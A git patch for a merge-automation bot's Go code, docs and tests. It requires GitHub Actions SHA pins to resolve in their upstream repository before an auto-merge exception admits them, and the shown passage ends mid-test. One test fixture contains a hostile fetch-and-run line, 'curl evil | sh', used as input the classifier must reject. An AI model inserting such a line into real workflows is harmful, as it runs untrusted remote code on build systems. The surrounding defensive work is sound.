From c864b7663cd5bf60115b9d6bcd48eb801c84e5f7 Mon Sep 17 00:00:00 2001 From: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Tue, 3 Nov 2026 11:18:00 -0500 Subject: [PATCH 1/2] =?UTF-8?q?=F0=9F=90=9B=20fix(automerge):=20verify=20a?= =?UTF-8?q?ction-sha=20pins=20resolve=20upstream=20before=20the=20pin-only?= =?UTF-8?q?=20exception=20admits=20them?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ClassifyPinOnlyActions returns the accepted action-sha pins; the pin-only exception resolves each against its upstream repo (tag ref with annotated-tag dereference, or ancestry of the default branch) and holds on any failure. The pin-only and DCO commit listings use the exported pkg/github.ListPRRepositoryCommits helper. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- ...security-pin-only-upstream-reachability.md | 1 + src/docs/hive-merge.md | 18 ++- src/docs/operator-reference/README.md | 4 +- .../github/automerge/automerge_human_paths.go | 111 ++++++++++++++---- .../automerge/automerge_human_paths_test.go | 76 +++++++++++- .../github/automerge/automerge_stage_dco.go | 17 +-- .../automerge/pr_approve_command_test.go | 8 ++ src/pkg/github/pr_commits.go | 24 ++-- src/pkg/github/pr_commits_test.go | 35 ++++++ src/pkg/intent/pin_only.go | 110 ++++++++++++----- src/pkg/intent/pin_only_test.go | 35 ++++++ 11 files changed, 354 insertions(+), 85 deletions(-) create mode 100644 changelog.d/security-pin-only-upstream-reachability.md diff --git a/changelog.d/security-pin-only-upstream-reachability.md b/changelog.d/security-pin-only-upstream-reachability.md new file mode 100644 index 0000000000..4d4147a699 --- /dev/null +++ b/changelog.d/security-pin-only-upstream-reachability.md @@ -0,0 +1 @@ +- The opt-in `auto_merge.human_merge_pin_only` exception now admits an `action-sha` pin only when the new SHA is anchored in its upstream action repository: with a `# vX[.Y[.Z]]` comment the upstream `tags/vX…` ref (annotated tags dereferenced) must point at exactly that SHA, otherwise the SHA must be an ancestor of the upstream default branch ([#16399](https://github.com/hivecommons/hive/issues/16399)). GitHub resolves a `uses:` SHA across the whole fork network, so a pin-shaped line could otherwise point at a commit pushed to any fork. Any 404, mismatch, rate limit or API error keeps the human-merge-path hold; repos without the key are unaffected. The pin-only commit check now uses the shared PR commit lister ([#16401](https://github.com/hivecommons/hive/issues/16401)). diff --git a/src/docs/hive-merge.md b/src/docs/hive-merge.md index d2fe04def3..9b9fffb750 100644 --- a/src/docs/hive-merge.md +++ b/src/docs/hive-merge.md @@ -196,9 +196,16 @@ commit to the listed identity, since a spoofed committer email is not on the signer's account and fails verification. Dependabot and Renovate commits are web-flow committed and signed; a human trusted author must commit and sign as themselves. A commit list that cannot be fetched, is empty, is longer than -GitHub serves, or does not end at the head holds the PR. The diff check reuses the file list the +GitHub serves, or does not end at the head holds the PR. Finally every new +`action-sha` pin must be anchored in its upstream action repository, because +GitHub resolves a `uses:` SHA across the whole fork network: with a +`# vX[.Y[.Z]]` comment, the upstream `tags/vX…` ref (annotated tags +dereferenced) must point at exactly the new SHA; without one, the new SHA must +be an ancestor of the upstream default branch. A 404, mismatch, rate limit or +any other API error holds the PR. Image digests are content-addressed and need +no such check. The diff check reuses the file list the path gate already fetches, so a PR the classifier refuses costs no extra API -call; the commit list is read only once the diff qualifies. A repo without an +call; the commit list and upstream refs are read only once the diff qualifies. A repo without an enabled entry behaves exactly as before. `/hive approve` applies the same check, so its reply never contradicts the lane. Any other outcome holds the PR as before. The exception only prevents a new path hold: a PR that already carries `hold` @@ -228,10 +235,9 @@ permission/credential/signing text and non-pin edits fail closed. This classifier proves **syntax only**, not authenticated identity, exact-head binding, file-list completeness, semantic interpretation or review of upstream references. The sweep supplies the author (GitHub's PR author login), the -verified-commit provenance of the head and file-list completeness itself; it -does not yet anchor a replaced action SHA to the upstream action's own refs -(GitHub resolves `uses:` SHAs across the fork network; the open second item -of #16399); the relay integration remains #16265; +verified-commit provenance of the head, file-list completeness and the +upstream anchoring of each action SHA itself (#16399); the relay integration +remains #16265; attribution and safe hold release are tracked in #16269. None of the schema or classifier APIs grants permission to merge or clears a hold. Native required checks and producer bindings, freshness, current reviews, substantive diff --git a/src/docs/operator-reference/README.md b/src/docs/operator-reference/README.md index 79f9785b5f..b769668ea0 100644 --- a/src/docs/operator-reference/README.md +++ b/src/docs/operator-reference/README.md @@ -253,7 +253,7 @@ Go callers keep reading `cfg.Agents`, `cfg.Governor.Gateways` and so on through | `project.label_driven_supersede_park_actors` | `[]` (off) | Automation logins (for example a lifecycle bot running as `github-actions[bot]`) whose park labels a later trusted acceptance supersedes on label-driven repos: Hive removes the label, says so in the release comment, and releases the issue ([#13605](https://github.com/hivecommons/hive/issues/13605)). Park labels added by people, by unlisted bots, or by a listed bot after the acceptance still block; `hold` is never superseded. Per-repo override: `project.repo_policies[].label_driven_supersede_park_actors`. | | `auto_merge.allow_unprotected_base` | Deprecated no-op. | Accepted so older configs keep loading. `hive-merge` now merges into any protected or unprotected branch the App can write, subject to the CI-evidence gate and GitHub's own merge rules. | | `auto_merge.no_ci_ok` | Empty by default. | Explicit repo list whose zero-CI merge-request verdict may pass; failing or pending CI evidence is still enforced. | -| `auto_merge.human_merge_pin_only` | Unset (off); enforced by the automerge sweep lanes and `/approve` (#16266), **not yet by the `hive-merge` relay** (#16265). | Per-repo schema for `enabled`, `paths`, `kinds` (`action-sha`, `image-digest`, `version-pin`) and `trusted_authors`. Enabled entries require all three lists. The sweep does not place a human-merge-path hold on a PR whose author is in `trusted_authors`, whose complete diff (every changed file, guarded or not) is pin replacements, and whose every commit is authored by a `trusted_authors` login with a GitHub-verified signature; it never clears an existing hold. See [hive-merge.md](../hive-merge.md) for grammar, restrictions and outstanding integration/deployment requirements (#16242). | +| `auto_merge.human_merge_pin_only` | Unset (off); enforced by the automerge sweep lanes and `/approve` (#16266), **not yet by the `hive-merge` relay** (#16265). | Per-repo schema for `enabled`, `paths`, `kinds` (`action-sha`, `image-digest`, `version-pin`) and `trusted_authors`. Enabled entries require all three lists. The sweep does not place a human-merge-path hold on a PR whose author is in `trusted_authors`, whose complete diff (every changed file, guarded or not) is pin replacements, whose every commit is authored by a `trusted_authors` login with a GitHub-verified signature, and whose every new action SHA resolves in its upstream action repository (the `# vN` tag points at it, or it is on the default branch; #16399); it never clears an existing hold. See [hive-merge.md](../hive-merge.md) for grammar, restrictions and outstanding integration/deployment requirements (#16242). | | `auto_merge.human_merge_paths` | Unset (off). | Per-repo map of `owner/repo` to glob patterns (same syntax as `intent.guardrail_path_patterns`) for paths a person must merge. Applies to every merge lane (App self-merge, trusted-author, label-queued, merge-request relay) whatever the intent tier; a matching PR is held with one comment, and an incomplete changed-file list fails closed. Details in the sweep key table below. | | `auto_merge.human_merge_title_prefixes` | `["⚠️", "⚠"]` | Title prefixes (after trimming) that mark a PR as a breaking change a person must merge. Every auto-merge lane and the merge train skip the PR; the tracker parks it at 090 *Ready for human merge · human merge*. Set to `[]` to disable. | | `auto_merge.human_merge_labels` | `["needs-owner-merge"]` | Labels (case-insensitive) that mark a PR a person must merge; same effect as the title prefixes. Set to `[]` to disable. | @@ -526,7 +526,7 @@ auto_merge: | Repository key | Case-insensitive `owner/repo`; configure each consumer separately. | | `enabled` | Absent/false preserves the existing human-merge-path gate. | | `paths` | Explicit allowed paths within the protected path matches, not a replacement for `human_merge_paths`. Required when enabled. | -| `kinds` | Explicit subset of `action-sha`, `image-digest`, `version-pin`; unknown kinds rejected. Required when enabled. | +| `kinds` | Explicit subset of `action-sha`, `image-digest`, `version-pin`; unknown kinds rejected. Required when enabled. An `action-sha` pin is admitted only when the upstream repo's `tags/` (annotated tags dereferenced) points at the new SHA, or, without a comment, the SHA is an ancestor of the upstream default branch; any lookup failure holds. | | `trusted_authors` | Explicit author allowlist; required when enabled. Matched against the PR author login and against the author login of every commit behind the head; each commit must also be committed by GitHub (`web-flow`) or by a trusted login and carry a GitHub-verified signature, since GitHub verifies the committer, not the author (web-flow-committed bot commits qualify; human authors must commit and sign as themselves). Not permission to trust arbitrary bot-looking logins. | Edit the controller's active `hive.yaml` seed, not the consumer image repo. diff --git a/src/pkg/github/automerge/automerge_human_paths.go b/src/pkg/github/automerge/automerge_human_paths.go index 3f7a29655c..08025015a2 100644 --- a/src/pkg/github/automerge/automerge_human_paths.go +++ b/src/pkg/github/automerge/automerge_human_paths.go @@ -89,8 +89,9 @@ func (c *Engine) currentHumanMergePinOnly(repo string) (config.PinOnlyException, // and stays held (#16326). Once the diff is accepted, every commit behind the // head must itself be provably the trusted author's: the PR author login only // says who opened the PR, and any principal with write access can push onto -// that branch afterwards. The sweep lanes and /approve share this helper so -// they never disagree. +// that branch afterwards. Finally each new action SHA must resolve in its +// upstream repository, not merely somewhere in its fork network. The sweep +// lanes and /approve share this helper so they never disagree. func (c *Engine) humanMergePinOnlyExempt(ctx context.Context, owner, repo string, pr *gh.PullRequest, files []intent.ChangedFile, matches []string) (bool, string) { if len(matches) == 0 || pr == nil { return false, "" @@ -108,13 +109,87 @@ func (c *Engine) humanMergePinOnlyExempt(ctx context.Context, owner, repo string if reported := pr.GetChangedFiles(); reported <= 0 || reported != len(files) { return false, "complete changed-file list not proven" } - if ok, why := intent.ClassifyPinOnly(files, matches, policy.Spec()); !ok { + ok, why, pins := intent.ClassifyPinOnlyActions(files, matches, policy.Spec()) + if !ok { return false, why } if why := c.pinOnlyCommitsTrusted(ctx, owner, repo, pr, policy); why != "" { return false, why } - return true, "all changes are approved pin replacements by verified trusted-author commits" + if why := c.pinOnlyActionPinsUpstream(ctx, pins); why != "" { + return false, why + } + return true, "all changes are approved pin replacements by verified trusted-author commits, anchored upstream" +} + +// pinOnlyMaxTagDepth bounds annotated-tag dereferencing (a tag of a tag). +const pinOnlyMaxTagDepth = 3 + +// pinOnlyActionPinsUpstream returns "" when every accepted action-sha pin is +// a commit of its upstream action repository. GitHub resolves a `uses:` SHA +// through the whole fork network, so a 40-hex commit pushed to any fork of +// owner/repo is a valid pin; the classifier sees syntax only. A pin with a +// version comment must be exactly what tags/ (dereferenced through +// annotated tags) points at; one without must be an ancestor of the upstream +// default branch. Any API error, 404 or mismatch fails closed with a reason. +// Image digests are content-addressed and need no such anchor. +func (c *Engine) pinOnlyActionPinsUpstream(ctx context.Context, pins []intent.ActionPin) string { + if len(pins) == 0 { + return "" + } + ctx = hgithub.WithRESTCaller(ctx, "hive:automerge_pin_only") + for _, pin := range pins { + if why := c.pinOnlyActionPinUpstream(ctx, pin); why != "" { + return fmt.Sprintf("action %s@%s: %s", pin.Repo, stagelabels.ShortSHA(pin.SHA), why) + } + } + return "" +} + +func (c *Engine) pinOnlyActionPinUpstream(ctx context.Context, pin intent.ActionPin) string { + owner, repo, ok := strings.Cut(pin.Repo, "/") + if !ok || owner == "" || repo == "" || pin.SHA == "" { + return "upstream repository or commit unknown" + } + if pin.Version != "" { + ref, _, err := c.gh.Git.GetRef(ctx, owner, repo, "tags/"+pin.Version) + if err != nil { + return fmt.Sprintf("tag %s could not be resolved upstream: %v", pin.Version, err) + } + obj := ref.GetObject() + for depth := 0; obj.GetType() == "tag"; depth++ { + if depth == pinOnlyMaxTagDepth { + return fmt.Sprintf("tag %s nests too deeply", pin.Version) + } + tag, _, err := c.gh.Git.GetTag(ctx, owner, repo, obj.GetSHA()) + if err != nil { + return fmt.Sprintf("annotated tag %s could not be resolved upstream: %v", pin.Version, err) + } + obj = tag.GetObject() + } + if obj.GetType() != "commit" || !strings.EqualFold(obj.GetSHA(), pin.SHA) { + return fmt.Sprintf("upstream tag %s does not point at the pinned commit", pin.Version) + } + return "" + } + upstream, _, err := c.gh.Repositories.Get(ctx, owner, repo) + if err != nil { + return fmt.Sprintf("upstream repository could not be read: %v", err) + } + branch := upstream.GetDefaultBranch() + if branch == "" { + return "upstream default branch unknown" + } + // base=pin, head=default: "ahead" or "identical" means the pinned commit + // is an ancestor of (reachable from) the upstream default branch. + cmp, _, err := c.gh.Repositories.CompareCommits(ctx, owner, repo, pin.SHA, branch, &gh.ListOptions{PerPage: 1}) + if err != nil { + return fmt.Sprintf("pinned commit could not be compared with upstream %s: %v", branch, err) + } + if status := cmp.GetStatus(); status != "ahead" && status != "identical" { + return fmt.Sprintf("pinned commit is not on upstream %s (compare status %q)", branch, status) + } + return "" } func pinOnlyTrustedLogin(policy config.PinOnlyException, login string) bool { @@ -130,10 +205,6 @@ func pinOnlyTrustedLogin(policy config.PinOnlyException, login string) bool { return false } -// pinOnlyCommitsMaxPages bounds the commit listing; GitHub serves at most 250 -// commits for a PR, and a pin bump has one or two. -const pinOnlyCommitsMaxPages = 3 - // pinOnlyCommitsTrusted returns "" when every commit of pr is attributed to a // trusted author, was committed by a trusted login or by GitHub itself // (web-flow), carries a signature GitHub verified, and the current head is @@ -153,21 +224,12 @@ func (c *Engine) pinOnlyCommitsTrusted(ctx context.Context, owner, repo string, return "PR head SHA unknown" } ctx = hgithub.WithRESTCaller(ctx, "hive:automerge_pin_only") - opts := &gh.ListOptions{PerPage: 100} - var all []*gh.RepositoryCommit - for page := 0; ; page++ { - if page == pinOnlyCommitsMaxPages { - return "PR commit list too long to verify" - } - commits, resp, err := c.gh.PullRequests.ListCommits(ctx, owner, repo, pr.GetNumber(), opts) - if err != nil { - return fmt.Sprintf("PR commits could not be listed: %v", err) - } - all = append(all, commits...) - if resp == nil || resp.NextPage == 0 { - break - } - opts.Page = resp.NextPage + all, complete, err := hgithub.ListPRRepositoryCommits(ctx, c.gh, owner, repo, pr.GetNumber()) + if err != nil { + return fmt.Sprintf("PR commits could not be listed: %v", err) + } + if !complete { + return "PR commit list too long to verify" } if len(all) == 0 { return "PR has no commits to verify" @@ -217,7 +279,8 @@ func pinOnlyTrustedCommitter(policy config.PinOnlyException, login string) bool // ticks) and returns autoMergeReasonHumanMergePath, unless the repo's enabled // auto_merge.human_merge_pin_only exception qualifies the PR (trusted author, // complete list, every changed line a pin replacement, every commit a -// verified trusted-author commit) and returns ("", nil). +// verified trusted-author commit, every action SHA anchored in its upstream +// repository) and returns ("", nil). func (c *Engine) humanMergePathGate(ctx context.Context, displayRepo, owner, repo string, pr *gh.PullRequest) (string, error) { patterns := c.currentHumanMergePaths(owner + "/" + repo) if len(patterns) == 0 { diff --git a/src/pkg/github/automerge/automerge_human_paths_test.go b/src/pkg/github/automerge/automerge_human_paths_test.go index fcf4192cfc..748c05b4e9 100644 --- a/src/pkg/github/automerge/automerge_human_paths_test.go +++ b/src/pkg/github/automerge/automerge_human_paths_test.go @@ -36,8 +36,13 @@ type humanPathFront struct { commits []map[string]any commitsStatus int commitsHits int - labels []string - comments []string + // upstream serves GET /repos/actions/checkout by suffix: a map + // value is the JSON body, an int a status code, a missing suffix 404. + // nil serves tags/v5 as a lightweight tag at testPinNewSHA. + upstream map[string]any + upstreamHits int + labels []string + comments []string } // testPinCommit is one PR commit as the gate sees it: author login, committer @@ -89,6 +94,20 @@ func newHumanPathFront(t *testing.T, backend string, f *humanPathFront) *httptes commits = []map[string]any{testPinCommit("sha7", "renovate-bot", true)} } json.NewEncoder(w).Encode(commits) + case r.Method == http.MethodGet && strings.HasPrefix(r.URL.Path, "/repos/actions/checkout"): + f.upstreamHits++ + upstream := f.upstream + if upstream == nil { + upstream = map[string]any{"/git/ref/tags/v5": testPinRef("commit", testPinNewSHA)} + } + switch v := upstream[strings.TrimPrefix(r.URL.Path, "/repos/actions/checkout")].(type) { + case nil: + w.WriteHeader(http.StatusNotFound) + case int: + w.WriteHeader(v) + default: + json.NewEncoder(w).Encode(v) + } case r.Method == http.MethodPost && r.URL.Path == "/repos/acme/widget/issues/7/labels": var labels []string _ = json.NewDecoder(r.Body).Decode(&labels) @@ -368,8 +387,9 @@ func TestSetHumanMergePathsNilEngine(t *testing.T) { // Pin-only exception (#16266): fixtures for calling humanMergePathGate on a PR // whose files carry patches. var ( + testPinNewSHA = strings.Repeat("b", 40) testPinOldLine = " - uses: actions/checkout@" + strings.Repeat("a", 40) + " # v4" - testPinNewLine = " - uses: actions/checkout@" + strings.Repeat("b", 40) + " # v5" + testPinNewLine = " - uses: actions/checkout@" + testPinNewSHA + " # v5" ) func testPinFile(name string) map[string]any { @@ -377,6 +397,19 @@ func testPinFile(name string) map[string]any { "patch": "@@ -3 +3 @@\n-" + testPinOldLine + "\n+" + testPinNewLine} } +// testPinFileNoComment is a pin bump without a version comment, which the +// gate anchors on the upstream default branch instead of a tag. +func testPinFileNoComment(name string) map[string]any { + strip := func(line string) string { return line[:strings.Index(line, " #")] } + return map[string]any{"filename": name, "status": "modified", "additions": 1, "deletions": 1, + "patch": "@@ -3 +3 @@\n-" + strip(testPinOldLine) + "\n+" + strip(testPinNewLine)} +} + +// testPinRef is a git ref (or annotated tag) object pointing at sha. +func testPinRef(kind, sha string) map[string]any { + return map[string]any{"object": map[string]any{"type": kind, "sha": sha}} +} + func pinOnlyFor(repo string, ex config.PinOnlyException) func(string) (config.PinOnlyException, bool) { return func(r string) (config.PinOnlyException, bool) { if strings.EqualFold(r, repo) { @@ -401,11 +434,15 @@ func TestHumanMergePathGatePinOnlyException(t *testing.T) { entries []map[string]any commits []map[string]any commitsStatus int + upstream map[string]any wantHold bool wantHits int // wantCommitHits is how often the commit list is read: only a diff // the classifier accepts costs that call. wantCommitHits int + // wantUpstreamHits is how many upstream action reads were made: only + // after the diff and every commit are accepted. + wantUpstreamHits int }{ {name: "paths unconfigured: no fetch, no hold", pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}}, {name: "exception unconfigured: held as before", paths: humanPathsFor("acme/widget", testHumanMergePattern), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, wantHold: true, wantHits: 1}, @@ -432,6 +469,30 @@ func TestHumanMergePathGatePinOnlyException(t *testing.T) { commits: []map[string]any{}, wantHold: true, wantHits: 1, wantCommitHits: 1}, {name: "trusted pure pin, commit list unavailable: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, commitsStatus: http.StatusBadGateway, wantHold: true, wantHits: 1, wantCommitHits: 1}, + {name: "upstream tag points elsewhere: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, + upstream: map[string]any{"/git/ref/tags/v5": testPinRef("commit", strings.Repeat("c", 40))}, wantHold: true, wantHits: 1, wantCommitHits: 1, wantUpstreamHits: 1}, + {name: "upstream tag missing (fork-network SHA): held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, + upstream: map[string]any{}, wantHold: true, wantHits: 1, wantCommitHits: 1, wantUpstreamHits: 1}, + {name: "upstream annotated tag dereferenced to the pin: not held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, + upstream: map[string]any{"/git/ref/tags/v5": testPinRef("tag", "t1"), "/git/tags/t1": testPinRef("tag", "t2"), "/git/tags/t2": testPinRef("commit", testPinNewSHA)}, wantHits: 1, wantCommitHits: 1, wantUpstreamHits: 3}, + {name: "upstream annotated tag points elsewhere: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, + upstream: map[string]any{"/git/ref/tags/v5": testPinRef("tag", "t1"), "/git/tags/t1": testPinRef("commit", strings.Repeat("c", 40))}, wantHold: true, wantHits: 1, wantCommitHits: 1, wantUpstreamHits: 2}, + {name: "upstream annotated tag unreadable: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, + upstream: map[string]any{"/git/ref/tags/v5": testPinRef("tag", "t1")}, wantHold: true, wantHits: 1, wantCommitHits: 1, wantUpstreamHits: 2}, + {name: "upstream tag chain too deep: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFile(workflow)}, + upstream: map[string]any{"/git/ref/tags/v5": testPinRef("tag", "t1"), "/git/tags/t1": testPinRef("tag", "t1")}, wantHold: true, wantHits: 1, wantCommitHits: 1, wantUpstreamHits: 4}, + {name: "no version comment, pin on upstream default branch: not held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFileNoComment(workflow)}, + upstream: map[string]any{"": map[string]any{"default_branch": "main"}, "/compare/" + testPinNewSHA + "...main": map[string]any{"status": "ahead"}}, wantHits: 1, wantCommitHits: 1, wantUpstreamHits: 2}, + {name: "no version comment, pin is upstream default head: not held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFileNoComment(workflow)}, + upstream: map[string]any{"": map[string]any{"default_branch": "main"}, "/compare/" + testPinNewSHA + "...main": map[string]any{"status": "identical"}}, wantHits: 1, wantCommitHits: 1, wantUpstreamHits: 2}, + {name: "no version comment, pin diverged from upstream default: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFileNoComment(workflow)}, + upstream: map[string]any{"": map[string]any{"default_branch": "main"}, "/compare/" + testPinNewSHA + "...main": map[string]any{"status": "diverged"}}, wantHold: true, wantHits: 1, wantCommitHits: 1, wantUpstreamHits: 2}, + {name: "no version comment, compare fails: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFileNoComment(workflow)}, + upstream: map[string]any{"": map[string]any{"default_branch": "main"}, "/compare/" + testPinNewSHA + "...main": http.StatusBadGateway}, wantHold: true, wantHits: 1, wantCommitHits: 1, wantUpstreamHits: 2}, + {name: "no version comment, upstream default branch unknown: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFileNoComment(workflow)}, + upstream: map[string]any{"": map[string]any{}}, wantHold: true, wantHits: 1, wantCommitHits: 1, wantUpstreamHits: 1}, + {name: "no version comment, upstream repository unreadable: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{testPinFileNoComment(workflow)}, + upstream: map[string]any{}, wantHold: true, wantHits: 1, wantCommitHits: 1, wantUpstreamHits: 1}, {name: "trusted pin plus non-pin line: held", paths: humanPathsFor("acme/widget", testHumanMergePattern), pinOnly: pinOnlyFor("acme/widget", testPinOnlyException()), author: "renovate-bot", entries: []map[string]any{{ "filename": workflow, "status": "modified", "additions": 2, "deletions": 1, "patch": "@@ -3 +3,2 @@\n-" + testPinOldLine + "\n+" + testPinNewLine + "\n+ - run: curl evil | sh", @@ -452,7 +513,7 @@ func TestHumanMergePathGatePinOnlyException(t *testing.T) { w.WriteHeader(http.StatusNotFound) })) defer backend.Close() - front := &humanPathFront{fileEntries: tc.entries, commits: tc.commits, commitsStatus: tc.commitsStatus} + front := &humanPathFront{fileEntries: tc.entries, commits: tc.commits, commitsStatus: tc.commitsStatus, upstream: tc.upstream} srv := newHumanPathFront(t, backend.URL, front) defer srv.Close() @@ -476,6 +537,13 @@ func TestHumanMergePathGatePinOnlyException(t *testing.T) { if front.commitsHits != tc.wantCommitHits { t.Fatalf("commit list hits = %d, want %d", front.commitsHits, tc.wantCommitHits) } + wantUpstream := tc.wantUpstreamHits + if wantUpstream == 0 && !tc.wantHold && tc.upstream == nil && tc.wantCommitHits > 0 { + wantUpstream = 1 // the default lightweight tags/v5 read + } + if front.upstreamHits != wantUpstream { + t.Fatalf("upstream hits = %d, want %d", front.upstreamHits, wantUpstream) + } if !tc.wantHold { if reason != "" || len(front.labels) != 0 || len(front.comments) != 0 { t.Fatalf("reason = %q, labels = %v, comments = %d; want no hold", reason, front.labels, len(front.comments)) diff --git a/src/pkg/github/automerge/automerge_stage_dco.go b/src/pkg/github/automerge/automerge_stage_dco.go index 4a540cfb0d..9729023de2 100644 --- a/src/pkg/github/automerge/automerge_stage_dco.go +++ b/src/pkg/github/automerge/automerge_stage_dco.go @@ -7,6 +7,7 @@ import ( "strings" gh "github.com/google/go-github/v72/github" + hgithub "github.com/hivecommons/hive/pkg/github" "github.com/hivecommons/hive/pkg/stagelabels" ) @@ -104,18 +105,10 @@ func (c *Engine) stageDCO(ctx context.Context, store *stagelabels.Store, key str } } } - opts := &gh.ListOptions{PerPage: 100} - var all []*gh.RepositoryCommit - for page := 0; page < stageDCOMaxPages; page++ { - commits, resp, err := c.gh.PullRequests.ListCommits(ctx, obs.Owner, obs.Repo, obs.Number, opts) - if err != nil { - return dcoStats{}, fmt.Errorf("listing commits for %s#%d: %w", obs.Display, obs.Number, err) - } - all = append(all, commits...) - if resp == nil || resp.NextPage == 0 { - break - } - opts.Page = resp.NextPage + // A list cut off at GitHub's cap is judged as read, as before. + all, _, err := hgithub.ListPRRepositoryCommits(ctx, c.gh, obs.Owner, obs.Repo, obs.Number) + if err != nil { + return dcoStats{}, err } return dcoCommitStatsDetailedForAuthor(all, c.transport.AppBotLogin(), obs.Author), nil } diff --git a/src/pkg/github/automerge/pr_approve_command_test.go b/src/pkg/github/automerge/pr_approve_command_test.go index 5b775309b7..71138eeac2 100644 --- a/src/pkg/github/automerge/pr_approve_command_test.go +++ b/src/pkg/github/automerge/pr_approve_command_test.go @@ -108,9 +108,11 @@ func TestPRApproveReplyPinOnlyMatchesSweep(t *testing.T) { name, patch string trusted []string commits []*gh.RepositoryCommit + tagSHA string // upstream tags/v5 target; "" means testPinNewSHA want string }{ {name: "trusted pure pin", patch: pin, trusted: []string{testHiveAppBotLogin}, commits: verifiedHead, want: "does not consume it on a pull request"}, + {name: "upstream tag points elsewhere", patch: pin, trusted: []string{testHiveAppBotLogin}, commits: verifiedHead, tagSHA: strings.Repeat("c", 40), want: "requires a person to merge manually"}, {name: "untrusted author", patch: pin, trusted: []string{"someone-else"}, want: "requires a person to merge manually"}, {name: "missing patch", trusted: []string{testHiveAppBotLogin}, want: "requires a person to merge manually"}, {name: "head commit pushed by another login", patch: pin, trusted: []string{testHiveAppBotLogin}, commits: []*gh.RepositoryCommit{ @@ -140,6 +142,12 @@ func TestPRApproveReplyPinOnlyMatchesSweep(t *testing.T) { t.Errorf("commit list read for a diff the classifier refuses") } json.NewEncoder(w).Encode(tc.commits) + case "/repos/actions/checkout/git/ref/tags/v5": + sha := tc.tagSHA + if sha == "" { + sha = testPinNewSHA + } + json.NewEncoder(w).Encode(testPinRef("commit", sha)) default: t.Errorf("unexpected read: %s", r.URL.Path) w.WriteHeader(http.StatusNotFound) diff --git a/src/pkg/github/pr_commits.go b/src/pkg/github/pr_commits.go index fddb29fd32..1fc937e4bf 100644 --- a/src/pkg/github/pr_commits.go +++ b/src/pkg/github/pr_commits.go @@ -97,22 +97,30 @@ func (c *Client) ListPRCommits(ctx context.Context, repo string, number int) ([] // commits, oldest first, nils dropped — for callers that need the parents, // the git identities, or the signature verification. func (c *Client) listPRRepositoryCommits(ctx context.Context, owner, repoName string, number int) ([]*gh.RepositoryCommit, error) { + out, _, err := ListPRRepositoryCommits(ctx, c.client, owner, repoName, number) + return out, err +} + +// ListPRRepositoryCommits lists a PR's raw commits, oldest first, nils +// dropped, reading at most maxPRCommitPages pages of 100. complete is false +// when GitHub still offered a further page at that cap, so a caller that must +// see every commit can fail closed instead of judging a truncated list. +func ListPRRepositoryCommits(ctx context.Context, client *gh.Client, owner, repoName string, number int) (commits []*gh.RepositoryCommit, complete bool, err error) { opts := &gh.ListOptions{PerPage: 100} - var out []*gh.RepositoryCommit for page := 0; page < maxPRCommitPages; page++ { - commits, resp, err := c.client.PullRequests.ListCommits(ctx, owner, repoName, number, opts) + batch, resp, err := client.PullRequests.ListCommits(ctx, owner, repoName, number, opts) if err != nil { - return nil, fmt.Errorf("listing commits for %s/%s#%d: %w", owner, repoName, number, err) + return nil, false, fmt.Errorf("listing commits for %s/%s#%d: %w", owner, repoName, number, err) } - for _, rc := range commits { + for _, rc := range batch { if rc != nil { - out = append(out, rc) + commits = append(commits, rc) } } - if resp.NextPage == 0 { - break + if resp == nil || resp.NextPage == 0 { + return commits, true, nil } opts.Page = resp.NextPage } - return out, nil + return commits, false, nil } diff --git a/src/pkg/github/pr_commits_test.go b/src/pkg/github/pr_commits_test.go index 545fe3096e..ee2b4fff20 100644 --- a/src/pkg/github/pr_commits_test.go +++ b/src/pkg/github/pr_commits_test.go @@ -81,6 +81,41 @@ func TestListPRCommitsPaginatesWithinBound(t *testing.T) { } } +// The exported lister reports a list cut off at the page cap as incomplete, +// so callers that must see every commit (the pin-only exception) fail closed; +// a list that ends on its own is complete. +func TestListPRRepositoryCommitsReportsTruncationAtCap(t *testing.T) { + for _, tc := range []struct { + name string + endless bool + wantPages int + wantComplete bool + }{ + {name: "ends within cap", wantPages: 2, wantComplete: true}, + {name: "next page past cap", endless: true, wantPages: maxPRCommitPages, 